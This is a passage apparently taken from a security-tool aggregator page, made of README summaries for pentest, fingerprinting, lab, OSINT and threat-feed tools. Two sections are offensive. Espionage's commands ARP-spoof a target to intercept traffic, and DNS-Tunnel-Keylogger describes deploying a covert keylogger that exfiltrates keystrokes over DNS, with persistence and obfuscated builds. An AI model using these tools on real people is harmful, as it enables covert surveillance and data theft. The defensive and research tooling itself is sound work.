    ### Custom Helpers Helpers are specialized tools that provide additional investigation capabilities through a dedicated UI interface. To create a custom helper: 1. Create a new file in the `helpers` folder (e.g., `helpers/data_analyzer.py`) 2. Implement your helper class:
    from PySide6.QtWidgets import (
    QWidget, QVBoxLayout, QHBoxLayout, QPushButton,
    QTextEdit, QLabel, QComboBox
    )
    from .base import BaseHelper
    from qasync import asyncSlot

    class DummyHelper(BaseHelper):
    """A dummy helper for testing"""

    name = "Dummy Helper"
    description = "A dummy helper for testing"

    def setup_ui(self):
    """Initialize the helper's user interface"""
    # Create input text area
    self.input_label = QLabel("Input:")
    self.input_text = QTextEdit()
    self.input_text.setPlaceholderText("Enter text to process...")
    self.input_text.setMinimumHeight(100)

    # Create operation selector
    operation_layout = QHBoxLayout()
    self.operation_label = QLabel("Operation:")
    self.operation_combo = QComboBox()
    self.operation_combo.addItems(["Uppercase", "Lowercase", "Title Case"])
    operation_layout.addWidget(self.operation_label)
    operation_layout.addWidget(self.operation_combo)

    # Create process button
    self.process_btn = QPushButton("Process")
    self.process_btn.clicked.connect(self.process_text)

    # Create output text area
    self.output_label = QLabel("Output:")
    self.output_text = QTextEdit()
    self.output_text.setReadOnly(True)
    self.output_text.setMinimumHeight(100)

    # Add widgets to main layout
    self.main_layout.addWidget(self.input_label)
    self.main_layout.addWidget(self.input_text)
    self.main_layout.addLayout(operation_layout)
    self.main_layout.addWidget(self.process_btn)
    self.main_layout.addWidget(self.output_label)
    self.main_layout.addWidget(self.output_text)

    # Set dialog size
    self.resize(400, 500)

    @asyncSlot()
    async def process_text(self):
    """Process the input text based on selected operation"""
    text = self.input_text.toPlainText()
    operation = self.operation_combo.currentText()

    if operation == "Uppercase":
    result = text.upper()
    elif operation == "Lowercase":
    result = text.lower()
    else: # Title Case
    result = text.title()

    self.output_text.setPlainText(result)

    πŸ“„ License

    This project is licensed under the Creative Commons Attribution-NonCommercial (CC BY-NC) License.

    You are free to: - βœ… Share: Copy and redistribute the material - βœ… Adapt: Remix, transform, and build upon the material

    Under these terms: - ℹ️ Attribution: You must give appropriate credit - 🚫 NonCommercial: No commercial use - πŸ”“ No additional restrictions

    πŸ™ Acknowledgments

    Special thanks to all library authors and contributors who made this project possible.

    πŸ‘¨β€πŸ’» Author

    Created by ALW1EZ with AI ❀️



    Secator - The Pentester'S Swiss Knife

    By: Unknown


    secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.


    Features

    • Curated list of commands

    • Unified input options

    • Unified output schema

    • CLI and library usage

    • Distributed options with Celery

    • Complexity from simple tasks to complex workflows

    • Customizable


    Supported tools

    secator integrates the following tools:

    Name Description Category
    httpx Fast HTTP prober. http
    cariddi Fast crawler and endpoint secrets / api keys / tokens matcher. http/crawler
    gau Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). http/crawler
    gospider Fast web spider written in Go. http/crawler
    katana Next-generation crawling and spidering framework. http/crawler
    dirsearch Web path discovery. http/fuzzer
    feroxbuster Simple, fast, recursive content discovery tool written in Rust. http/fuzzer
    ffuf Fast web fuzzer written in Go. http/fuzzer
    h8mail Email OSINT and breach hunting tool. osint
    dnsx Fast and multi-purpose DNS toolkit designed for running DNS queries. recon/dns
    dnsxbrute Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). recon/dns
    subfinder Fast subdomain finder. recon/dns
    fping Find alive hosts on local networks. recon/ip
    mapcidr Expand CIDR ranges into IPs. recon/ip
    naabu Fast port discovery tool. recon/port
    maigret Hunt for user accounts across many websites. recon/user
    gf A wrapper around grep to avoid typing common patterns. tagger
    grype A vulnerability scanner for container images and filesystems. vuln/code
    dalfox Powerful XSS scanning tool and parameter analyzer. vuln/http
    msfconsole CLI to access and work with the Metasploit Framework. vuln/http
    wpscan WordPress Security Scanner vuln/multi
    nmap Vulnerability scanner using NSE scripts. vuln/multi
    nuclei Fast and customisable vulnerability scanner based on simple YAML based DSL. vuln/multi
    searchsploit Exploit searcher. exploit/search

    Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).

    Installation

    Installing secator

    Pipx
    pipx install secator
    Pip
    pip install secator
    Bash
    wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
    Docker
    docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
    The volume mount -v is necessary to save all secator reports to your host machine, and--net=host is recommended to grant full access to the host network. You can alias this command to run it easier:
    alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
    Now you can run secator like if it was installed on baremetal:
    secator --help
    Docker Compose
    git clone https://github.com/freelabz/secator
    cd secator
    docker-compose up -d
    docker-compose exec secator secator --help

    Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.

    Installing languages

    secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.

    We provide utilities to install required languages if you don't manage them externally:

    Go
    secator install langs go
    Ruby
    secator install langs ruby

    Installing tools

    secator does not install any of the external tools it supports by default.

    We provide utilities to install or update each supported tool which should work on all systems supporting apt:

    All tools
    secator install tools
    Specific tools
    secator install tools <TOOL_NAME>
    For instance, to install `httpx`, use:
    secator install tools httpx

    Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.

    Installing addons

    secator comes installed with the minimum amount of dependencies.

    There are several addons available for secator:

    worker Add support for Celery workers (see [Distributed runs with Celery](https://docs.freelabz.com/in-depth/distributed-runs-with-celery)).
    secator install addons worker
    google Add support for Google Drive exporter (`-o gdrive`).
    secator install addons google
    mongodb Add support for MongoDB driver (`-driver mongodb`).
    secator install addons mongodb
    redis Add support for Redis backend (Celery).
    secator install addons redis
    dev Add development tools like `coverage` and `flake8` required for running tests.
    secator install addons dev
    trace Add tracing tools like `memray` and `pyinstrument` required for tracing functions.
    secator install addons trace
    build Add `hatch` for building and publishing the PyPI package.
    secator install addons build

    Install CVEs

    secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:

    secator install cves

    Checking installation health

    To figure out which languages or tools are installed on your system (along with their version):

    secator health

    Usage

    secator --help


    Usage examples

    Run a fuzzing task (ffuf):

    secator x ffuf http://testphp.vulnweb.com/FUZZ

    Run a url crawl workflow:

    secator w url_crawl http://testphp.vulnweb.com

    Run a host scan:

    secator s host mydomain.com

    and more... to list all tasks / workflows / scans that you can use:

    secator x --help
    secator w --help
    secator s --help

    Learn more

    To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube



    JA4+ - Suite Of Network Fingerprinting Standards

    By: Zion3R


    JA4+ is a suite of network FingerprintingΒ methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.

    Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
    JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
    JA4T: TCP Fingerprinting (JA4T/TS/TScan)


    To understand how to read JA4+ fingerprints, see Technical Details

    This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.

    JA4/JA4+ support is being added to:
    GreyNoise
    Hunt
    Driftnet
    DarkSail
    Arkime
    GoLang (JA4X)
    Suricata
    Wireshark
    Zeek
    nzyme
    Netresec's CapLoader
    NetworkMiner">Netresec's NetworkMiner
    NGINX
    F5 BIG-IP
    nfdump
    ntop's ntopng
    ntop's nDPI
    Team Cymru
    NetQuest
    Censys
    Exploit.org's Netryx
    cloudflare.com/bots/concepts/ja3-ja4-fingerprint/">Cloudflare
    fastly
    with more to be announced...

    Examples

    Application JA4+ Fingerprints
    Chrome JA4=t13d1516h2_8daaf6152771_02713d6af862 (TCP)
    JA4=q13d0312h3_55b375c5d22e_06cda9e17597 (QUIC)
    JA4=t13d1517h2_8daaf6152771_b0da82dd1658 (pre-shared key)
    JA4=t13d1517h2_8daaf6152771_b1ff8ab2d16f (no key)
    IcedID Malware Dropper JA4H=ge11cn020000_9ed1ff1f7b03_cd8dafe26982
    IcedID Malware JA4=t13d201100_2b729b4bf6f3_9e7b989ebec8
    JA4S=t120300_c030_5e2616a54c73
    Sliver Malware JA4=t13d190900_9dc949149365_97f8aa674fd9
    JA4S=t130200_1301_a56c5b993250
    JA4X=000000000000_4f24da86fad6_bf0f0589fc03
    JA4X=000000000000_7c32fa18c13e_bf0f0589fc03
    Cobalt Strike JA4H=ge11cn060000_4e59edc1297a_4da5efaf0cbd
    JA4X=2166164053c1_2166164053c1_30d204a01551
    SoftEther VPN JA4=t13d880900_fcb5b95cb75a_b0d3b4ac2a14 (client)
    JA4S=t130200_1302_a56c5b993250
    JA4X=d55f458d5a6c_d55f458d5a6c_0fc8c171b6ae
    Qakbot JA4X=2bab15409345_af684594efb4_000000000000
    Pikabot JA4X=1a59268f55e5_1a59268f55e5_795797892f9c
    Darkgate JA4H=po10nn060000_cdb958d032b0
    LummaC2 JA4H=po11nn050000_d253db9d024b
    Evilginx JA4=t13d191000_9dc949149365_e7c285222651
    Reverse SSH Shell JA4SSH=c76s76_c71s59_c0s70
    Windows 10 JA4T=64240_2-1-3-1-1-4_1460_8
    Epson Printer JA4TScan=28960_2-4-8-1-3_1460_3_1-4-8-16

    For more, see ja4plus-mapping.csv
    The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.

    Plugins

    Wireshark
    Zeek
    Arkime

    Binaries

    Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark

    Download the latest JA4 binaries from: Releases.

    JA4+ on Ubuntu

    sudo apt install tshark
    ./ja4 [options] [pcap]

    JA4+ on Mac

    1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH

    ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
    ./ja4 [options] [pcap]

    JA4+ on Windows

    1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
    tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
    2) Add the location of tshark to your "PATH" environment variable in Windows.
    (System properties > Environment Variables... > Edit Path)
    3) Open cmd, navigate the ja4 folder

    ja4 [options] [pcap]

    Database

    An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.

    In the meantime, see ja4plus-mapping.csv

    Feel free to do a pull request with any JA4+ data you find.

    JA4+ Details

    JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.

    All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.

    For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).

    Current methods and implementation details:
    | Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
    | JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner

    The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...

    To understand how to read JA4+ fingerprints, see Technical Details

    Licensing

    JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.

    JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.

    All JA4+ methods are patent pending.
    JA4+ is a trademark of FoxIO

    JA4+ can and is being implemented into open source tools, see the License FAQ for details.

    This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.

    ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.

    Q&A

    Q: Why are you sorting the ciphers? Doesn't the ordering matter?
    A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.

    Q: Why are you sorting the extensions?
    A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.

    So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.

    Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
    A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.

    JA4+ was created by:

    John Althouse, with feedback from:

    Josh Atkins
    Jeff Atkinson
    Joshua Alexander
    W.
    Joe Martin
    Ben Higgins
    Andrew Morris
    Chris Ueland
    Ben Schofield
    Matthias Vallentin
    Valeriy Vorotyntsev
    Timothy Noel
    Gary Lipsky
    And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.

    Contact John Althouse at john@foxio.io for licensing and questions.

    Copyright (c) 2024, FoxIO



    CSAF - Cyber Security Awareness Framework

    By: Zion3R

    The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.


    Requirements

    Software

    • Docker
    • Docker-compose

    Hardware

    Minimum

    • 4 Core CPU
    • 10GB RAM
    • 60GB Disk free

    Recommendation

    • 8 Core CPU or above
    • 16GB RAM or above
    • 100GB Disk free or above

    Installation

    Clone the repository

    git clone https://github.com/csalab-id/csaf.git

    Navigate to the project directory

    cd csaf

    Pull the Docker images

    docker-compose --profile=all pull

    Generate wazuh ssl certificate

    docker-compose -f generate-indexer-certs.yml run --rm generator

    For security reason you should set env like this first

    export ATTACK_PASS=ChangeMePlease
    export DEFENSE_PASS=ChangeMePlease
    export MONITOR_PASS=ChangeMePlease
    export SPLUNK_PASS=ChangeMePlease
    export GOPHISH_PASS=ChangeMePlease
    export MAIL_PASS=ChangeMePlease
    export PURPLEOPS_PASS=ChangeMePlease

    Start all the containers

    docker-compose --profile=all up -d

    You can run specific profiles for running specific labs with the following profiles - all - attackdefenselab - phisinglab - breachlab - soclab

    For example

    docker-compose --profile=attackdefenselab up -d

    Proof



    Exposed Ports

    An exposed port can be accessed using a proxy socks5 client, SSH client, or HTTP client. Choose one for the best experience.

    • Port 6080 (Access to attack network)
    • Port 7080 (Access to defense network)
    • Port 8080 (Access to monitor network)

    Example usage

    Access internal network with proxy socks5

    • curl --proxy socks5://ipaddress:6080 http://10.0.0.100/vnc.html
    • curl --proxy socks5://ipaddress:7080 http://10.0.1.101/vnc.html
    • curl --proxy socks5://ipaddress:8080 http://10.0.3.102/vnc.html

    Remote ssh with ssh client

    • ssh kali@ipaddress -p 6080 (default password: attackpassword)
    • ssh kali@ipaddress -p 7080 (default password: defensepassword)
    • ssh kali@ipaddress -p 8080 (default password: monitorpassword)

    Access kali linux desktop with curl / browser

    • curl http://ipaddress:6080/vnc.html
    • curl http://ipaddress:7080/vnc.html
    • curl http://ipaddress:8080/vnc.html

    Domain Access

    • http://attack.lab/vnc.html (default password: attackpassword)
    • http://defense.lab/vnc.html (default password: defensepassword)
    • http://monitor.lab/vnc.html (default password: monitorpassword)
    • https://gophish.lab:3333/ (default username: admin, default password: gophishpassword)
    • https://server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
    • https://server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
    • https://mail.server.lab/ (default username: postmaster@server.lab, default passowrd: mailpassword)
    • https://mail.server.lab/iredadmin/ (default username: postmaster@server.lab, default passowrd: mailpassword)
    • http://phising.lab/
    • http://10.0.0.200:8081/
    • http://gitea.lab/ (default username: csalab, default password: giteapassword)
    • http://dvwa.lab/ (default username: admin, default passowrd: password)
    • http://dvwa-monitor.lab/ (default username: admin, default passowrd: password)
    • http://dvwa-modsecurity.lab/ (default username: admin, default passowrd: password)
    • http://wackopicko.lab/
    • http://juiceshop.lab/
    • https://wazuh-indexer.lab:9200/ (default username: admin, default passowrd: SecretPassword)
    • https://wazuh-manager.lab/
    • https://wazuh-dashboard.lab:5601/ (default username: admin, default passowrd: SecretPassword)
    • http://splunk.lab/ (default username: admin, default password: splunkpassword)
    • https://infectionmonkey.lab:5000/
    • http://purpleops.lab/ (default username: admin@purpleops.com, default password: purpleopspassword)
    • http://caldera.lab/ (default username: red/blue, default password: calderapassword)

    Network / IP Address

    Attack

    • 10.0.0.100 attack.lab
    • 10.0.0.200 phising.lab
    • 10.0.0.201 server.lab
    • 10.0.0.201 mail.server.lab
    • 10.0.0.202 gophish.lab
    • 10.0.0.110 infectionmonkey.lab
    • 10.0.0.111 mongodb.lab
    • 10.0.0.112 purpleops.lab
    • 10.0.0.113 caldera.lab

    Defense

    • 10.0.1.101 defense.lab
    • 10.0.1.10 dvwa.lab
    • 10.0.1.13 wackopicko.lab
    • 10.0.1.14 juiceshop.lab
    • 10.0.1.20 gitea.lab
    • 10.0.1.110 infectionmonkey.lab
    • 10.0.1.112 purpleops.lab
    • 10.0.1.113 caldera.lab

    Monitor

    • 10.0.3.201 server.lab
    • 10.0.3.201 mail.server.lab
    • 10.0.3.9 mariadb.lab
    • 10.0.3.10 dvwa.lab
    • 10.0.3.11 dvwa-monitor.lab
    • 10.0.3.12 dvwa-modsecurity.lab
    • 10.0.3.102 monitor.lab
    • 10.0.3.30 wazuh-manager.lab
    • 10.0.3.31 wazuh-indexer.lab
    • 10.0.3.32 wazuh-dashboard.lab
    • 10.0.3.40 splunk.lab

    Public

    • 10.0.2.101 defense.lab
    • 10.0.2.13 wackopicko.lab

    Internet

    • 10.0.4.102 monitor.lab
    • 10.0.4.30 wazuh-manager.lab
    • 10.0.4.32 wazuh-dashboard.lab
    • 10.0.4.40 splunk.lab

    Internal

    • 10.0.5.100 attack.lab
    • 10.0.5.12 dvwa-modsecurity.lab
    • 10.0.5.13 wackopicko.lab

    License

    This Docker Compose application is released under the MIT License. See the LICENSE file for details.



    Espionage - A Linux Packet Sniffing Suite For Automated MiTM Attacks

    By: Zion3R

    Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.


    Installation

    1: git clone https://www.github.com/josh0xA/Espionage.git
    2: cd Espionage
    3: sudo python3 -m pip install -r requirments.txt
    4: sudo python3 espionage.py --help

    Usage

    1. sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap
      Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
    2. sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap
      Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
    3. sudo python3 espionage.py --normal --iface wlan0
      Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
    4. sudo python3 espionage.py --verbose --httpraw --iface wlan0
      Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
    5. sudo python3 espionage.py --target <target-ip-address> --iface wlan0
      Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
    6. sudo python3 espionage.py --iface wlan0 --onlyhttp
      Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
    7. sudo python3 espionage.py --iface wlan0 --onlyhttpsecure
      Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
    8. sudo python3 espionage.py --iface wlan0 --urlonly
      Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).

    9. Press Ctrl+C in-order to stop the packet interception and write the output to file.

    Menu

    usage: espionage.py [-h] [--version] [-n] [-v] [-url] [-o] [-ohs] [-hr] [-f FILENAME] -i IFACE
    [-t TARGET]

    optional arguments:
    -h, --help show this help message and exit
    --version returns the packet sniffers version.
    -n, --normal executes a cleaner interception, less sophisticated.
    -v, --verbose (recommended) executes a more in-depth packet interception/sniff.
    -url, --urlonly only sniffs visited urls using http/https.
    -o, --onlyhttp sniffs only tcp/http data, returns urls visited.
    -ohs, --onlyhttpsecure
    sniffs only https data, (port 443).
    -hr, --httpraw displays raw packet data (byte order) recieved or sent on port 80.

    (Recommended) arguments for data output (.pcap):
    -f FILENAME, --filename FILENAME
    name of file to store the output (make extension '.pcap').

    (Required) arguments required for execution:
    -i IFACE, --iface IFACE
    specify network interface (ie. wlan0, eth0, wlan1, etc.)

    (ARP Spoofing) required arguments in-order to use the ARP Spoofing utility:
    -t TARGET, --target TARGET

    A Linux Packet Sniffing Suite for Automated MiTM Attacks (6)

    Writeup

    A simple medium writeup can be found here:
    Click Here For The Official Medium Article

    Ethical Notice

    The developer of this program, Josh Schiavone, written the following code for educational and ethical purposes only. The data sniffed/intercepted is not to be used for malicous intent. Josh Schiavone is not responsible or liable for misuse of this penetration testing tool. May God bless you all.

    License

    MIT License
    Copyright (c) 2024 Josh Schiavone




    C2-Tracker - Live Feed Of C2 Servers, Tools, And Botnets

    By: Zion3R


    Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.

    The feed should update daily. Actively working on making the backend more reliable


    Honorable Mentions

    Many of the Shodan queries have been sourced from other CTI researchers:

    Huge shoutout to them!

    Thanks to BertJanCyber for creating the KQL query for ingesting this feed

    And finally, thanks to Y_nexro for creating C2Live in order to visualize the data

    What do I track?

    Running Locally

    If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY

    echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
    bash
    python3 -m pip install -r requirements.txt
    python3 tracker.py

    Contributing

    I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).

    References



    Skytrack - Planespotting And Aircraft OSINT Tool Made Using Python

    By: Zion3R

    About

    skytrack is a command-line based plane spotting and aircraft OSINT reconnaissanceΒ tool made using Python. It can gather aircraft information using various data sources, generate a PDF report for a specified aircraft, and convert between ICAO and Tail Number designations. Whether you are a hobbyist plane spotter or an experienced aircraft analyst, skytrack can help you identify and enumerate aircraft for general purposeΒ reconnaissance.


    What is Planespotting & Aircraft OSINT?

    Planespotting is the art of tracking down and observing aircraft. While planespotting mostly consists of photography and videography of aircraft, aircraft informationΒ gathering and OSINT is a crucial step in the planespotting process. OSINT (Open Source Intelligence) describes a methodology of using publicy accessible data sources to obtain data about a specific subject β€” in this case planes!

    Aircraft Information

    • Tail Number πŸ›«
    • Aircraft Type βš™οΈ
    • ICAO24 Designation πŸ”Ž
    • Manufacturer Details πŸ› 
    • Flight Logs πŸ“„
    • Aircraft Owner ✈️
    • Model πŸ›©
    • Much more!

    Usage

    To run skytrack on your machine, follow the steps below:

    $ git clone https://github.com/ANG13T/skytrack
    $ cd skytrack
    $ pip install -r requirements.txt
    $ python skytrack.py

    skytrack works best for Python version 3.

    Preview

    Features

    skytrack features three main functions for aircraft information

    gathering and display options. They include the following:

    Aircraft Reconnaissance & OSINT

    skytrack obtains general information about the aircraft given its tail number or ICAO designator. The tool sources this information using several reliable data sets. Once the data is collected, it is displayed in the terminal within a table layout.

    PDF Aircraft Information Report

    skytrack also enables you the save the collected aircraft information into a PDF. The PDF includes all the aircraft data in a visual layout for later reference. The PDF report will be entitled "skytrack_report.pdf"

    Tail Number to ICAO Converter

    There are two standard identification formats for specifying aircraft: Tail Number and ICAO Designation. The tail number (aka N-Number) is an alphanumerical ID starting with the letter "N" used to identify aircraft. The ICAO type designation is a six-character fixed-length ID in the hexadecimal format. Both standards are highly pertinent for aircraft

    reconnaissance as they both can be used to search for a specific aircraft in data sources. However, converting them from one format to another can be rather cumbersome as it follows a tricky algorithm. To streamline this process, skytrack includes a standard converter.

    Further Explanation

    ICAO and Tail Numbers follow a mapping system like the following:

    ICAO address N-Number (Tail Number)

    a00001 N1

    a00002 N1A

    a00003 N1AA

    You can learn more about aircraft registration numbers [here](https://www.faa.gov/licenses_certificates/aircraft_certification/aircraft_registry/special_nnumbers)

    :warning: Converter only works for USA-registered aircraft

    Data Sources & APIs Used

    ICAO Aircraft Type Designators Listings

    FlightAware

    Wikipedia

    Aviation Safety Website

    Jet Photos Website

    OpenSky API

    Aviation Weather METAR

    Airport Codes Dataset

    Contributing

    skytrack is open to any contributions. Please fork the repository and make a pull request with the features or fixes you want to implement.

    Upcoming

    • Obtain Latest Flown Airports
    • Obtain Airport Information
    • Obtain ATC Frequency Information

    Support

    If you enjoyed skytrack, please consider becoming a sponsor or donating on buymeacoffee in order to fund my future projects.

    To check out my other works, visit my GitHub profile.



    DNS-Tunnel-Keylogger - Keylogging Server And Client That Uses DNS Tunneling/Exfiltration To Transmit Keystrokes

    By: Zion3R


    This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

    These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.


    Server

    Setup

    The server uses python3.

    To install dependencies, run python3 -m pip install -r requirements.txt

    Starting the Server

    To start the server, run python3 main.py

    usage: dns exfiltration server [-h] [-p PORT] ip domain

    positional arguments:
    ip
    domain

    options:
    -h, --help show this help message and exit
    -p PORT, --port PORT port to listen on

    By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

    ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

    domain is the domain to listen for, which should be the domain that the server is authoritative for.

    Registrar

    On the registrar, you want to change your domain's namespace to custom DNS.

    Point them to two domains, ns1.example.com and ns2.example.com.

    Add records that make point the namespace domains to your exfiltration server's IP address.

    This is the same as setting glue records.

    Client

    Linux

    The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

    logger.sh

    # Usage: logger.sh [-options] domain
    # Positional Arguments:
    # domain: the domain to send data to
    # Options:
    # -p path: give path to log file to listen to
    # -l: run the logger with warnings and errors printed

    To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

    The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

    The -l option will show warnings and errors. Can be useful for debugging.

    logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

    connection.sh

    Usage: command [-options] domain
    Positional Arguments:
    domain: the domain to send data to
    Options:
    -n: number of characters to store before sending a packet

    Windows

    Build

    To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.

    make production domain=example.com

    You can also choose to build the program with debugging by making the debug target.

    make debug domain=example.com

    For both targets, you will need to specify the domain the server is listening for.

    Sending Test Requests

    You can use dig to send requests to the server:

    dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.

    dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.

    Replace example.com with the domain the server is listening for.

    Protocol

    Starting a Connection

    A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.

